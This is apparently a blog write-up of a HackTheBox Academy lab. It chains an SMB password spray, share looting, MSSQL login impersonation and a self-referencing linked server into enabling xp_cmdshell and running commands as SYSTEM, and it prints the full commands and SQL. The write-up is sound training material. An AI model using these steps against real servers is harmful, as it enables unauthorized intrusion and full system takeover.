July 13, 2026
Attacking Common Services — Owning a Windows File Server Through MSSQL
A HackTheBox Academy Hard skill assessment: from a single SMB credential to SYSTEM, by way of MSSQL impersonation and a linked server that…

By Ahmet
4 min read
A HackTheBox Academy Hard skill assessment: from a single SMB credential to SYSTEM, by way of MSSQL impersonation and a linked server that trusts itself a little too much.
This box isn't about one big vulnerability. It's a chain of small misconfigurations — each harmless alone, but together they lead straight to SYSTEM. A weak password here, an impersonation grant there, a linked server pointing back at itself. Individually, none of them scream "critical." Chained together, they hand you NT AUTHORITY\SYSTEM.
This writeup walks through that chain the way I actually worked it: the dead ends included, because the dead ends are where the learning is.
The Target
The brief describes an internal server that manages files and working material, with a database running for a purpose "we do not know." That last detail matters — the database is the target here.
A full port scan sets the scene:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
3389/tcp open ms-wbt-server Microsoft Terminal ServicesPORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
3389/tcp open ms-wbt-server Microsoft Terminal ServicesTwo things matter here. First, 1433 — a live SQL Server 2019 instance, which lines up with that "mystery database." Second, the NTLM info reveals the domain name is WIN-HARD — identical to the hostname. That equality is a tell: this is a standalone server, not a domain member. Every account we touch will be local, which means --local-auth on all our tooling. Miss this and you'll spend an hour wondering why valid credentials keep failing.
Foothold: SMB and the Guest Trap
Given the username simon, a password spray against SMB lands a hit:
netexec smb 10.129.203.10 -u simon -p pws.list --local-auth --ignore-pw-decoding
SMB 10.129.203.10 445 WIN-HARD [+] WIN-HARD\simon:li***ol (Guest)netexec smb 10.129.203.10 -u simon -p pws.list --local-auth --ignore-pw-decoding
SMB 10.129.203.10 445 WIN-HARD [+] WIN-HARD\simon:li***ol (Guest)That (Guest) tag is a trap worth pausing on. Windows can be configured to fall back to the Guest account when it receives credentials it doesn't like, instead of cleanly rejecting them. So a green [+] next to (Guest) doesn't always mean "your credential is valid" — sometimes it means "your credential was garbage, but the door was open anyway." Here the credential turns out to be genuine, but you should never assume that. Verify before you trust it.
With Simon's password confirmed, the readable shares come into view:
smbmap -u simon -p 'liverpool' -H 10.129.203.10
Home READ ONLY
IPC$ READ ONLYsmbmap -u simon -p 'liverpool' -H 10.129.203.10
Home READ ONLY
IPC$ READ ONLYThe Home share has IT/ that each user has their own folder:
smb: \IT\> ls
Fiona John Simon
smb: \IT\Simon\> ls
random.txt
smb: \IT\john\> ls
information.txt notes.txt secrets.txtsmb: \IT\> ls
Fiona John Simon
smb: \IT\Simon\> ls
random.txt
smb: \IT\john\> ls
information.txt notes.txt secrets.txtSimon's own folder holds random.txt — the first answer. But the more interesting detail is John's folder, and specifically a file called secrets.txt. In these assessments, a file literally named "secrets" is rarely a decoy. It's a signpost pointing at the next user.
Escalating to Fiona, Then MSSQL
Working through the accessible files surfaces a password for fiona, confirmed against SMB. With Fiona's credentials, we finally turn to that SQL Server that's been sitting on 1433 the whole time.
This is where the box gets interesting. The single most valuable thing to enumerate on a compromised MSSQL login isn't the databases — it's who you're allowed to impersonate:
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
name
-----
john
simonSELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
name
-----
john
simonFiona can impersonate john. In MSSQL, IMPERSONATE is a direct privilege-escalation primitive — EXECUTE AS LOGIN = 'john' and you're now operating as that principal, with all their rights. The problem: John, on his own, can't run xp_cmdshell on this instance. So impersonation alone isn't the finish line. We need another angle.
The Linked Server That Trusts Itself
Enumerating the registered linked servers reveals two:
SELECT srvname, isremote FROM sysservers;
srvname isremote
--------------------- --------
WINSRV02\SQLEXPRESS 1
LOCAL.TEST.LINKED.SRV 0SELECT srvname, isremote FROM sysservers;
srvname isremote
--------------------- --------
WINSRV02\SQLEXPRESS 1
LOCAL.TEST.LINKED.SRV 0The second one is unusual. LOCAL.TEST.LINKED.SRV with isremote = 0 is a link that points back at the local instance. Self-referencing links exist for a reason in these scenarios: queries sent through a linked server execute in the link's own security context, not yours. And that context is frequently sysadmin.
Here's the dead end I hit first. Sending the query through the remote linked server (WINSRV02\SQLEXPRESS) while impersonating failed:
Linked servers cannot be used under impersonation without a mapping for the impersonated login.Linked servers cannot be used under impersonation without a mapping for the impersonated login.The issue wasn't impersonation by itself — it was which linked server I targeted. A genuine remote link requires a login mapping for the impersonated user, which didn't exist. The self-referencing LOCAL.TEST.LINKED.SRV (isremote=0) has no such requirement, so routing the query through that one instead is what worked.
EXECUTE('SELECT @@servername, @@version, system_user,
is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV];EXECUTE('SELECT @@servername, @@version, system_user,
is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV];Note the doubled single quotes (''). The entire statement travels to the linked server as a string, so every inner quote has to be escaped by doubling it. Get this wrong and you'll get a wall of "unclosed quotation mark" errors — I did, a few times, before it clicked.
From SQL to SYSTEM
xp_cmdshell is disabled by default, so we enable it through the link before using it:
EXEC ('sp_configure ''show advanced options'', 1') AT [LOCAL.TEST.LINKED.SRV];
EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];
EXEC ('sp_configure ''xp_cmdshell'', 1') AT [LOCAL.TEST.LINKED.SRV];
EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];EXEC ('sp_configure ''show advanced options'', 1') AT [LOCAL.TEST.LINKED.SRV];
EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];
EXEC ('sp_configure ''xp_cmdshell'', 1') AT [LOCAL.TEST.LINKED.SRV];
EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];And now command execution works — with the best possible result:
EXEC ('xp_cmdshell ''whoami''') AT [LOCAL.TEST.LINKED.SRV];
output
-------------------
nt authority\systemEXEC ('xp_cmdshell ''whoami''') AT [LOCAL.TEST.LINKED.SRV];
output
-------------------
nt authority\systemNT AUTHORITY\SYSTEM. Not the SQL service account, not a low-priv user — the highest local authority there is. From here the flag is a formality:
EXEC ('xp_cmdshell ''dir C:\Users\Administrator\Desktop''') AT [LOCAL.TEST.LINKED.SRV];
Directory of C:\Users\Administrator\Desktop
04/21/2022 04:07 PM 27 flag.txtEXEC ('xp_cmdshell ''dir C:\Users\Administrator\Desktop''') AT [LOCAL.TEST.LINKED.SRV];
Directory of C:\Users\Administrator\Desktop
04/21/2022 04:07 PM 27 flag.txtThe Chain, End to End
Stepping back, here's the full path:
simon (SMB spray) → file shares → fiona (password in a share) → impersonate john (MSSQL) → linked server as sysadmin → xp_cmdshell as SYSTEM → flag.
No exploit, no CVE, no memory corruption. Just a sequence of trust relationships that were never meant to be walked end to end.
What This Box Teaches
The (Guest) tag is not a green light. Guest fallback makes bad credentials look valid. Always verify.
Hostname equals domain means standalone. Local accounts, --local-auth, no exceptions.
Enumerate IMPERSONATE grants first on any MSSQL foothold. It's the fastest escalation primitive SQL Server offers.
Self-referencing linked servers are a privilege-escalation gift. They run queries as sysadmin, and you don't need to impersonate anyone to use them.
Impersonation and linked-server calls don't mix. Pick one context. If you're getting the "cannot be used under impersonation" error, you're trying to do both.
Quote escaping is half the battle with EXEC(...) AT. Every inner single quote doubles. When in doubt, count them.
Tools: nmap, netexec, smbmap, smbclient, impacket-mssqlclient.
More writeups at pixrei.xyz.